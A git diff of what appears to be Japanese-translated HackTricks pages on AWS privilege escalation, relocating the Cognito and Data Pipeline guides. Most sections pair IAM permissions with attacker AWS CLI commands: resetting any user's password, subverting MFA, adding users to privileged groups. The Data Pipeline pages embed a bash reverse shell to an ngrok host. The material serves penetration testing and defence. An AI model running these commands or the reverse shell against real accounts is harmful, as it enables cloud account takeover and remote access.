-この権限を**悪用して基本認証を許可する**ことも可能です：
-```bash
-aws cognito-identity update-identity-pool \
---identity-pool-id <value> \
---identity-pool-name <value> \
---allow-unauthenticated-identities
---allow-classic-flow
-```
-**潜在的な影響**: アイデンティティプール内の設定された認証済みIAMロールが侵害される。
-
-### `cognito-idp:AdminAddUserToGroup`
-
-この権限は**CognitoユーザーをCognitoグループに追加する**ことを許可します。したがって、攻撃者はこの権限を悪用して、自分の管理下にあるユーザーを**より良い**権限や**異なるIAMロール**を持つ他のグループに追加することができます。
-```bash
-aws cognito-idp admin-add-user-to-group \
---user-pool-id <value> \
---username <value> \
---group-name <value>
-```
-**潜在的な影響:** 他のCognitoグループおよびユーザープールグループに添付されたIAMロールへの権限昇格。
-
-### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-
-これらの権限を持つ攻撃者は、**すべてのIAMロールを使用して**妥協されたCognitoアイデンティティプロバイダーによって**作成/更新されたグループ**を作成/更新し、妥協されたユーザーをそのグループの一部にすることで、すべてのロールにアクセスできます。
-```bash
-aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
-```
-**潜在的な影響:** 他のCognito IAMロールへの権限昇格。
-
-### `cognito-idp:AdminConfirmSignUp`
-
-この権限は**サインアップを確認する**ことを許可します。デフォルトでは、誰でもCognitoアプリケーションにサインインできます。これが放置されると、ユーザーは任意のデータでアカウントを作成し、この権限で確認することができます。
-```bash
-aws cognito-idp admin-confirm-sign-up \
---user-pool-id <value> \
---username <value>
-```
-**潜在的な影響:** 新しいユーザーを登録できる場合、認証されたユーザーのためのアイデンティティプールIAMロールへの間接的な権限昇格。任意のアカウントを確認できることによる他のアプリ機能への間接的な権限昇格。
-
-### `cognito-idp:AdminCreateUser`
-
-この権限により、攻撃者はユーザープール内に新しいユーザーを作成することができます。新しいユーザーは有効として作成されますが、パスワードを変更する必要があります。
-```bash
-aws cognito-idp admin-create-user \
---user-pool-id <value> \
---username <value> \
-[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
-[--validation-data <value>]
-[--temporary-password <value>]
-```
-**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できることによる他のアプリ機能への間接的な権限昇格。
-
-### `cognito-idp:AdminEnableUser`
-
-この権限は、攻撃者が無効化されたユーザーの資格情報を見つけ、**再度有効にする**必要がある非常に限られたケースで役立ちます。
-```bash
-aws cognito-idp admin-enable-user \
---user-pool-id <value> \
---username <value>
-```
-**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの間接的な権限昇格と、攻撃者が無効なユーザーの資格情報を持っている場合のユーザーの権限。
-
-### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-
-この権限は、[**ADMIN_USER_PASSWORD_AUTHメソッド**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**を使用してログインすることを許可します。** 詳細についてはリンクを参照してください。
-
-### `cognito-idp:AdminSetUserPassword`
-
-この権限は、攻撃者が**任意のユーザーのパスワードを変更する**ことを許可し、MFAが有効でない任意のユーザーを偽装できるようにします。
-```bash
-aws cognito-idp admin-set-user-password \
---user-pool-id <value> \
---username <value> \
---password <value> \
---permanent
-```
-**潜在的な影響:** 直接的な権限昇格により、任意のユーザーにアクセスできる可能性があり、各ユーザーが所属するすべてのグループへのアクセスと、Identity Pool 認証済み IAM ロールへのアクセスが得られます。
-
-### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-
-**AdminSetUserSettings**: 攻撃者はこの権限を悪用して、自分の管理下にある携帯電話を **ユーザーの SMS MFA** として設定する可能性があります。
-```bash
-aws cognito-idp admin-set-user-settings \
---user-pool-id <value> \
---username <value> \
---mfa-options <value>
-```
-**SetUserMFAPreference:** 前のものと同様に、この権限はユーザーのMFA設定を変更してMFA保護を回避するために使用できます。
-```bash
-aws cognito-idp admin-set-user-mfa-preference \
-[--sms-mfa-settings <value>] \
-[--software-token-mfa-settings <value>] \
---username <value> \
---user-pool-id <value>
-```
-**SetUserPoolMfaConfig**: 前のものと同様に、この権限はユーザープールのMFA設定を変更してMFA保護を回避するために使用できます。
-```bash
-aws cognito-idp set-user-pool-mfa-config \
---user-pool-id <value> \
-[--sms-mfa-configuration <value>] \
-[--software-token-mfa-configuration <value>] \
-[--mfa-configuration <value>]
-```
-**UpdateUserPool:** ユーザープールを更新してMFAポリシーを変更することも可能です。[Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。
-
-**Potential Impact:** 攻撃者が認証情報を知っている任意のユーザーに対する間接的な権限昇格が可能で、これによりMFA保護を回避できる可能性があります。
-
-### `cognito-idp:AdminUpdateUserAttributes`
-
-この権限を持つ攻撃者は、自分の管理下にあるユーザーのメールアドレスや電話番号、またはその他の属性を変更して、基盤となるアプリケーションでの権限をさらに取得しようとすることができます。\
-これにより、メールアドレスや電話番号を変更し、それを確認済みとして設定することができます。
-```bash
-aws cognito-idp admin-update-user-attributes \
---user-pool-id <value> \
---username <value> \
---user-attributes <value>
-```
-**潜在的な影響:** Cognito User Poolを使用して、ユーザー属性に基づいて権限を付与する基盤となるアプリケーションでの潜在的な間接的な権限昇格。
-
-### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-
-この権限を持つ攻撃者は、**既存のプールクライアントよりも制限の少ない新しいUser Pool Clientを作成**することができます。例えば、新しいクライアントは、あらゆる種類の方法で認証を許可し、秘密がなく、トークンの取り消しが無効で、トークンがより長い期間有効であることを許可することができます...
-
-新しいクライアントを作成する代わりに、**既存のクライアントを変更する**ことでも同じことができます。
-
-[**コマンドライン**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)（または[**更新のもの**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)）で、すべてのオプションを確認できます。チェックしてください！
-```bash
-aws cognito-idp create-user-pool-client \
---user-pool-id <value> \
---client-name <value> \
-[...]
-```
-**潜在的な影響:** ユーザープールによって使用されるアイデンティティプールの承認されたユーザーに対する潜在的な間接的な権限昇格。新しいクライアントを作成することでセキュリティ対策が緩和され、攻撃者が作成したユーザーでログインすることが可能になる。
-
-### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-
-攻撃者はこの権限を悪用して、新しいユーザーを含むcsvをアップロードすることでユーザーを作成することができる。
-```bash
-# Create a new import job
-aws cognito-idp create-user-import-job \
---job-name <value> \
---user-pool-id <value> \
---cloud-watch-logs-role-arn <value>
-
-# Use a new import job
-aws cognito-idp start-user-import-job \
---user-pool-id <value> \
---job-id <value>
-
-# Both options before will give you a URL where you can send the CVS file with the users to create
-curl -v -T "PATH_TO_CSV_FILE" \
--H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
-```
-（新しいインポートジョブを作成する場合、iam passrole権限が必要になることがありますが、まだテストしていません）。
-
-**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できる他のアプリ機能への間接的な権限昇格。
-
-### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-
-攻撃者は新しいアイデンティティプロバイダーを作成し、このプロバイダーを通じて**ログインできる**ようになります。
-```bash
-aws cognito-idp create-identity-provider \
---user-pool-id <value> \
---provider-name <value> \
---provider-type <value> \
---provider-details <value> \
-[--attribute-mapping <value>] \
-[--idp-identifiers <value>]
-```
-**潜在的影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できることによる他のアプリ機能への間接的な権限昇格。
-
-### cognito-sync:\* 分析
-
-これはCognitoアイデンティティプールのロールでデフォルトで非常に一般的な権限です。権限にワイルドカードが含まれていることは常に悪い印象を与えます（特にAWSからの場合）、しかし**与えられた権限は攻撃者の視点からはあまり有用ではありません**。
-
-この権限は、アイデンティティプール内のアイデンティティ情報やアイデンティティIDを読み取ることを許可します（これは機密情報ではありません）。\
-アイデンティティIDには[**データセット**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)が割り当てられている可能性があり、これはセッションの情報です（AWSはこれを**セーブされたゲーム**と定義しています）。これには何らかの機密情報が含まれている可能性がありますが（確率はかなり低いです）、この情報にアクセスする方法は[**列挙ページ**](../aws-services/aws-cognito-enum/)で見つけることができます。
-
-攻撃者はこれらの権限を使用して、**これらのデータセットの変更を公開するCognitoストリームに自分自身を登録する**か、**CognitoイベントでトリガーされるLambdaに登録する**こともできます。これが使用されているのを見たことはありませんし、ここで機密情報が期待されることはありませんが、不可能ではありません。
-
-### 自動ツール
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSのエクスプロイトフレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成（MFAサポートを含む）や、変更可能なカスタム属性、使用可能なアイデンティティプール資格情報、IDトークン内の引き受け可能なロールに基づく権限昇格も自動化します。
-
-モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。
-
-#### 使用法
-
-特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての権限昇格ベクターを試みるためのcognito\_\_attackのサンプル使用法:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集することです：
-```bash
-Pacu (new:test) > run cognito__enum
-```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、Cognito に対するさまざまな攻撃を実装する Python の CLI ツールで、特権昇格を含みます。
-
-#### インストール
-```bash
-$ pip install cognito-scanner
-```
-#### 使用法
-```bash
-$ cognito-scanner --help
-```
-詳細については、[https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)を確認してください。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
new file mode 100644
index 000000000..6057971be
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -0,0 +1,274 @@
+# AWS - Cognito Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Cognitoの詳細については次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Identity Poolから資格情報を収集する
+
+Cognitoは**IAM role credentials**を**authenticated**および**unauthenticated**の両方の**users**に付与できるため、アプリケーションの**Identity Pool ID**（多くの場合アプリにハードコーディングされている）を特定できれば、新しいクレデンシャルを取得してprivescすることができます（おそらく以前は一切クレデンシャルを持っていなかったAWSアカウント内で）。
+
+For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
+
+**潜在的な影響:** unauth usersに紐付いたサービスロールへの直接的なprivesc（おそらくauth usersに紐付いたロールにも）。
+
+### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
+
+この権限があれば、cognito appのauthenticated/unauthenticated usersに対して**grant any cognito role**を与えることができます。
+```bash
+aws cognito-identity set-identity-pool-roles \
+--identity-pool-id <identity_pool_id> \
+--roles unauthenticated=<role ARN>
+
+# Get credentials
+## Get one ID
+aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+## Get creds for that id
+aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
+```
+If the cognito app **unauthenticated users が有効になっていない** 場合、有効化するために `cognito-identity:UpdateIdentityPool` 権限も必要になることがあります。
+
+**Potential Impact:** 任意の cognito role への直接的な privesc。
+
+### `cognito-identity:update-identity-pool`
+
+この権限を持つ攻撃者は、例えば自身が管理する Cognito User Pool や、自分でログインできるその他の identity provider を、**この Cognito Identity Pool にアクセスする手段**として設定できます。すると、そのユーザー提供元に単に **login** するだけで、**Identity Pool に設定された authenticated role へアクセスできる** ようになります。
+```bash
+# This example is using a Cognito User Pool as identity provider
+## but you could use any other identity provider
+aws cognito-identity update-identity-pool \
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+
+# Now you need to login to the User Pool you have configured
+## after having the id token of the login continue with the following commands:
+
+# In this step you should have already an ID Token
+aws cognito-identity get-id \
+--identity-pool-id <id_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+
+# Get the identity_id from thr previous commnad response
+aws cognito-identity get-credentials-for-identity \
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+```
+この権限を**悪用して basic auth を許可する**ことも可能です:
+```bash
+aws cognito-identity update-identity-pool \
+--identity-pool-id <value> \
+--identity-pool-name <value> \
+--allow-unauthenticated-identities
+--allow-classic-flow
+```
+**Potential Impact**: identity pool 内に設定された認証済み IAM role を侵害する可能性がある。
+
+### `cognito-idp:AdminAddUserToGroup`
+
+この権限は **CognitoユーザーをCognitoグループに追加する** ことを許可するため、攻撃者はこの権限を悪用して攻撃者が操作するユーザーを権限が **より高い** または **異なる IAM roles** を持つ他のグループに追加する可能性がある:
+```bash
+aws cognito-idp admin-add-user-to-group \
+--user-pool-id <value> \
+--username <value> \
+--group-name <value>
+```
+**潜在的影響:** Privesc が他の Cognito グループおよび User Pool Groups に紐付く IAM ロールへの権限昇格を引き起こす可能性があります。
+
+### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
+
+これらの権限を持つ攻撃者は、**グループを作成/更新**して、**侵害された Cognito Identity Provider によって使用可能なすべての IAM ロール** を割り当て、侵害されたユーザーをそのグループの一員にして、それらすべてのロールにアクセスできるようにする可能性があります：
+```bash
+aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
+```
+**潜在的影響:** Privesc to other Cognito IAM roles.
+
+### `cognito-idp:AdminConfirmSignUp`
+
+この権限により**サインアップを確認**できます。デフォルトでは誰でも Cognito アプリケーションにサインインできるため、そのままにしておくと、ユーザーは任意のデータでアカウントを作成し、この権限でそれを確認できてしまいます。
+```bash
+aws cognito-idp admin-confirm-sign-up \
+--user-pool-id <value> \
+--username <value>
+```
+**Potential Impact:** 新しいユーザーを登録できる場合、認証済みユーザーの identity pool IAM role に対する間接的な privesc。任意のアカウントを confirm できることで、他のアプリ機能への間接的な privesc。
+
+### `cognito-idp:AdminCreateUser`
+
+この権限があれば、攻撃者は user pool 内に新しいユーザーを作成できます。新しいユーザーは enabled な状態で作成されますが、パスワードの変更が必要になります。
+```bash
+aws cognito-idp admin-create-user \
+--user-pool-id <value> \
+--username <value> \
+[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
+[--validation-data <value>]
+[--temporary-password <value>]
+```
+**潜在的な影響:** 認証済みユーザー向けの identity pool IAM role への直接的な privesc。 他のアプリ機能（任意のユーザーを作成できる）への間接的な privesc。
+
+### `cognito-idp:AdminEnableUser`
+
+この権限は、攻撃者が無効化されたユーザーの認証情報を入手し、そのユーザーを**再度有効化する**必要があるという非常に稀なエッジケースで役立ちます。
+```bash
+aws cognito-idp admin-enable-user \
+--user-pool-id <value> \
+--username <value>
+```
+**潜在的影響:** 間接的に identity pool IAM role への privesc を引き起こし、攻撃者が無効化されたユーザーの認証情報を持っていた場合はそのユーザーの権限を取得できます。
+
+### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
+
+この権限は[**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 詳細はリンクを参照してください。
+
+### `cognito-idp:AdminSetUserPassword`
+
+この権限により攻撃者は**任意のユーザーのパスワードを変更**でき、MFAが有効でないユーザーをなりすますことが可能になります。
+```bash
+aws cognito-idp admin-set-user-password \
+--user-pool-id <value> \
+--username <value> \
+--password <value> \
+--permanent
+```
+**潜在的影響:** ほぼ任意のユーザーに対する直接的な privesc を引き起こす可能性があり、そのユーザーが所属するすべてのグループへのアクセスや Identity Pool の authenticated IAM role へのアクセスが可能になる。
+
+### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
+
+**AdminSetUserSettings**: 攻撃者はこの権限を悪用して、自身が管理する携帯電話をユーザーの**SMS MFA**として設定する可能性がある。
+```bash
+aws cognito-idp admin-set-user-settings \
+--user-pool-id <value> \
+--username <value> \
+--mfa-options <value>
+```
+**SetUserMFAPreference:** 前のものと同様に、この権限はユーザーのMFA設定を変更してMFA保護を回避するために使用できます。
+```bash
+aws cognito-idp admin-set-user-mfa-preference \
+[--sms-mfa-settings <value>] \
+[--software-token-mfa-settings <value>] \
+--username <value> \
+--user-pool-id <value>
+```
+**SetUserPoolMfaConfig**: 前のものと同様に、この権限を使って user pool の MFA 設定を変更し、MFA 保護を bypass できます。
+```bash
+aws cognito-idp set-user-pool-mfa-config \
+--user-pool-id <value> \
+[--sms-mfa-configuration <value>] \
+[--software-token-mfa-configuration <value>] \
+[--mfa-configuration <value>]
+```
+**UpdateUserPool:** ユーザープールを更新して MFA ポリシーを変更することも可能です。 [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+
+**Potential Impact:** 攻撃者が認証情報を知っている任意のユーザーに対する間接的な privesc が発生する可能性があり、MFA 保護を回避できる場合があります。
+
+### `cognito-idp:AdminUpdateUserAttributes`
+
+この権限を持つ攻撃者は、制御下にあるユーザーのメールアドレスや電話番号、またはその他の属性を変更して、基盤となるアプリケーションでより高い権限を取得しようとする可能性があります。\
+これにより、メールアドレスや電話番号を変更して検証済みとして設定することができます。
+```bash
+aws cognito-idp admin-update-user-attributes \
+--user-pool-id <value> \
+--username <value> \
+--user-attributes <value>
+```
+**Potential Impact:** ユーザ属性に基づいて権限を付与する Cognito User Pool を利用する基盤アプリケーションに対する間接的な privesc の可能性。
+
+### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
+
+この権限を持つ攻撃者は、既存のクライアントより制限の緩い新しい **User Pool Client を作成**できる可能性があります。例えば、新しいクライアントは任意の認証方法を許可したり、シークレットを持たなかったり、トークン取り消しを無効にしたり、トークンの有効期限を長く設定したりできます...
+
+新しいクライアントを作成する代わりに、**既存のクライアントを変更**して同様のことを行うことも可能です。
+
+[**コマンドライン**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)（または[**更新用**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)）で全オプションを確認できます。チェックしてみてください！
+```bash
+aws cognito-idp create-user-pool-client \
+--user-pool-id <value> \
+--client-name <value> \
+[...]
+```
+**潜在的影響:** Identity Pool の許可されたユーザー（User Pool で使用される）に対する間接的な privesc の可能性。新しい client を作成してセキュリティ対策を緩和することで、攻撃者が自分で作成したユーザーでログインできるようになる。
+
+### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
+
+攻撃者はこの権限を悪用して、新規ユーザーを含む csv をアップロードすることでユーザーを作成できます。
+```bash
+# Create a new import job
+aws cognito-idp create-user-import-job \
+--job-name <value> \
+--user-pool-id <value> \
+--cloud-watch-logs-role-arn <value>
+
+# Use a new import job
+aws cognito-idp start-user-import-job \
+--user-pool-id <value> \
+--job-id <value>
+
+# Both options before will give you a URL where you can send the CVS file with the users to create
+curl -v -T "PATH_TO_CSV_FILE" \
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+```
+(新しい import job を作成する場合、iam passrole permission が必要になる可能性があります。まだテストしていません)。
+
+**潜在的影響:** 認証済みユーザーに対する identity pool IAM role への直接的な privesc。任意のユーザーを作成できるその他のアプリ機能への間接的な privesc。
+
+### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
+
+攻撃者は新しい identity provider を作成し、**このプロバイダ経由でログインする**ことができるようになります。
+```bash
+aws cognito-idp create-identity-provider \
+--user-pool-id <value> \
+--provider-name <value> \
+--provider-type <value> \
+--provider-details <value> \
+[--attribute-mapping <value>] \
+[--idp-identifiers <value>]
+```
+**Potential Impact:** 認証済みユーザーが identity pool IAM role への直接的な privesc。アプリの他の機能が任意のユーザーを作成できることによる間接的な privesc。
+
+### cognito-sync:* 分析
+
+これは Cognito Identity Pools のロールでデフォルトによく見られる許可です。ワイルドカードを含む許可は常に見た目が良くない（特に AWS 由来の場合）ですが、**与えられた許可は攻撃者の観点から見るとそれほど有用ではありません**。
+
+この許可は Identity Pools の情報および Identity Pools 内の Identity IDs を読み取ることを許可します（これは機密情報ではありません）。\
+Identity IDs には [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) が割り当てられていることがあり、これはセッションの情報（AWS はこれを **saved game** のように定義しています）。機密情報が含まれている可能性はありますが、その確率はかなり低いです。この情報にアクセスする方法は[**enumeration page**](../../aws-services/aws-cognito-enum/index.html)に記載されています。
+
+攻撃者はこれらの許可を使って、**enroll himself to a Cognito stream that publish changes** on these datases や **lambda that triggers on cognito events** に自分を登録することも可能です。私はこれが使われているのを見たことはなく、ここに機密情報があるとは期待しませんが、あり得ないわけではありません。
+
+### Automatic Tools
+
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
+
+モジュールの機能の説明は [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) の part 2 を参照してください。インストール手順はメインの [Pacu](https://github.com/RhinoSecurityLabs/pacu) ページを参照してください。
+
+#### 使用例
+
+特定の identity pool と user pool client に対してユーザー作成とすべての privesc ベクトルを試みるための cognito\_\_attack の使用例:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+現在の AWS アカウントに表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集するための cognito\_\_enum の使用例:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は python 製の CLI ツールで、Cognito に対するさまざまな攻撃（privesc のエスカレーションを含む）を実装しています。
+
+#### Installation
+```bash
+$ pip install cognito-scanner
+```
+#### 使用法
+```bash
+$ cognito-scanner --help
+```
+詳細については以下を参照してください: [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
deleted file mode 100644
index f3c576156..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - Datapipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## datapipeline
-
-datapipelineに関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-
-これらの**権限を持つユーザーは、Data Pipelineを作成することで権限を昇格させることができます**。これは**割り当てられたロールの権限を使用して任意のコマンドを実行するためです：**
-```bash
-aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
-```
-パイプラインの作成後、攻撃者は特定のアクションやリソースの作成を指示するためにその定義を更新します：
-```json
-{
-"objects": [
-{
-"id": "CreateDirectory",
-"type": "ShellCommandActivity",
-"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
-"runsOn": { "ref": "instance" }
-},
-{
-"id": "Default",
-"scheduleType": "ondemand",
-"failureAndRerunMode": "CASCADE",
-"name": "Default",
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_datapipeline"
-},
-{
-"id": "instance",
-"name": "instance",
-"type": "Ec2Resource",
-"actionOnTaskFailure": "terminate",
-"actionOnResourceFailure": "retryAll",
-"maximumRetries": "1",
-"instanceType": "t2.micro",
-"securityGroups": ["default"],
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_ec2_profile_instance"
-}
-]
-}
-```
-> [!NOTE]
-> **14行目、15行目、27行目**の**ロール**は**datapipeline.amazonaws.comによって引き受け可能なロール**である必要があり、**28行目**のロールは**EC2プロファイルインスタンスを持つec2.amazonaws.comによって引き受け可能なロール**である必要があります。
->
-> さらに、EC2インスタンスはEC2インスタンスによって引き受け可能なロールにのみアクセスできるため（そのロールのみを盗むことができます）。
-```bash
-aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
---pipeline-definition file:///pipeline/definition.json
-```
-攻撃者によって作成された**パイプライン定義ファイルには、コマンドを実行するか、AWS APIを介してリソースを作成するための指示が含まれており、Data Pipelineのロール権限を利用して追加の特権を得る可能性があります。**
-
-**潜在的な影響:** 指定されたec2サービスロールへの直接的な特権昇格。
-
-## 参考文献
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
new file mode 100644
index 000000000..b609c8146
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
@@ -0,0 +1,68 @@
+# AWS - Datapipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## datapipeline
+
+datapipeline の詳細については次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
+
+これらの**権限を持つユーザーは、Data Pipeline を作成して権限昇格できます**。割り当てられたロールの**権限を使用して任意のコマンドを実行します：**
+```bash
+aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
+```
+パイプライン作成後、攻撃者はその定義を更新し、特定のアクションやリソースの作成を指定します:
+```json
+{
+"objects": [
+{
+"id": "CreateDirectory",
+"type": "ShellCommandActivity",
+"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
+"runsOn": { "ref": "instance" }
+},
+{
+"id": "Default",
+"scheduleType": "ondemand",
+"failureAndRerunMode": "CASCADE",
+"name": "Default",
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_datapipeline"
+},
+{
+"id": "instance",
+"name": "instance",
+"type": "Ec2Resource",
+"actionOnTaskFailure": "terminate",
+"actionOnResourceFailure": "retryAll",
+"maximumRetries": "1",
+"instanceType": "t2.micro",
+"securityGroups": ["default"],
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_ec2_profile_instance"
+}
+]
+}
+```
+> [!NOTE]
+> 注意: **line 14, 15 and 27** の **role** は **assumable by datapipeline.amazonaws.com** である必要があり、**line 28** の **role assumable by ec2.amazonaws.com with a EC2 profile instance** である必要があります。
+>
+> さらに、EC2 インスタンスはその EC2 インスタンスでassumableな **role** のみアクセスできるため（つまり奪えるのはそれだけしかありません）。
+```bash
+aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
+--pipeline-definition file:///pipeline/definition.json
+```
+**攻撃者が作成したパイプライン定義ファイルは、コマンドを実行する指示を含む**、または AWS API を介してリソースを作成する指示を含み、Data Pipeline のロール権限を悪用して追加の権限を取得する可能性があります。
+
+**影響の可能性:** 指定された ec2 サービスロールへの直接的な privesc。
+
+## 参考
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 588f9d332..000000000
